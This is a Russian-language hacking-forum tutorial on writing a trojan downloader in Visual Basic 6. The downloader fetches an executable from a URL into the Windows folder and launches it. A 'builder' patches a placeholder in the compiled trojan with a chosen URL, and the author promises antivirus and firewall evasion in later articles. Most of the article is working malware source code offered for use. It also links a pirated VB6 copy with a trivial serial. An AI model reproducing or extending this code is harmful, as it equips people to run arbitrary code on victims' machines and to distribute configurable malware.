[1 - Intro]

Сегодня, я постараюсь вам доказать, что Visual Basic не хуже остальных компиляторов и вполне может, применятся в серьезных целях.

Допустим, мы написали троян, который выполняет определенные действия, и хотим сделать к нему билдер.

Билдер (aka конфигуратор) - программа, которая делает сервер трояна (к примеру) с настройками под другого пользователя не используя при этом компилятора.

[2 - Инструменты]

Цитата:
ZloySystem,
Дистрибутив: http://zloysystem.com/vb6.0.rar
sn: все единички
vBook (учебник для начинающих): http://zloysystem.com/vbooks.rar

Задать вопрос по VB вы можете здесь http://forum.zloy.org/showthread.php?t=9409

[3 - Кодинг]

Приступим... К примеру, мы написали троян даунлоадер (приведу простейший пример, всем известного метода).

Цитата:
+++++++++++++++++++++++++++++++++++++++++
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Dim geturl As Long
Dim a, b, c
a = 0
b = 0
c = 0
geturl = URLDownloadToFile(a, "http://site.ru/file.exe", Environ("windir") & "" & "file.exe", b, c)

' Скачиваем файл с http://site.ru/file.exe в
' папку Windows с названием file.exe
Shell Environ("windir") & "" & "file.exe"
' Запускаем file.exe
End Sub
+++++++++++++++++++++++++++++++++++++++++
Далее поправляем строчку:

Цитата:
+++++++++++++++++++++++++++++++++++++++++
geturl = URLDownloadToFile(a, "http://site.ru/file.exe", _
Environ("windir") & "" & "file.exe", b, c)
На:

Цитата:
geturl = URLDownloadToFile(a, "xxxxxxxxx", _
Environ("windir") & "" & "file.exe", b, c)
+++++++++++++++++++++++++++++++++++++++++
В дальнейшем нам станет ясно зачем.

Перейдем к написанию билдера к нашему даунлоадеру. На форму кидаем одно текстовое поле и две кнопки.

+++++++++++++++++++++++++++++++++++++++++
Цитата:
Private Sub Command1_Click()
' Кнопка 1
Dim s$
Open App.Path & "" & "server.exe" For Binary As 1
' Открываем наш сервер для двоичного доступа
s = Space(LOF(1))
Get 1, , s

txt1 = Text1 ' Текстовое поле 1

s = Replace(s, StrConv("xxxxxxxxx", vbUnicode), _
StrConv(txt1, vbUnicode))
' Ищем в сервере текст xxxxxxxxx
' (именно тот, о котором говорилось выше)
' и заменяем содержимым текстового поля 1

Put 1, 1, s
Close 1

MsgBox "Готово", 42, "Готово"
' Говорим юзеру, что все ок

End Sub

Private Sub Command2_Click()
' Кнопка 2
End
' Выходим по команде из программы
End Sub
+++++++++++++++++++++++++++++++++++++++++
[4 - Итог]

Компилим сервер и билдер и проверяем его работоспособность.

1) Заливаем на свой хост к примеру калькулятор (calc.exe), делаем билд, указав url к калькулятору. Пример: http://www.site.ru/calc.exe

2) Запускаем получившийся сервер и что мы видим, он загрузился и запустился (естественно если у вас отключены все файрволлы и антивирусы, как я уже говорил, система работы лоудера простейшая, поэтому не обходит файрволлы). А так же не может отследить наличие Интернета, действовать по таймеру и прочей прелести. Об этом в следующих статьях

Научившись обращаться с Vb вы легко добавите новых интересных функций к вашему билдеру и другим проектам.

P.S. Скачать исходники вы можете здесь:
http://www.xirc.info/Source.rar

© DIEL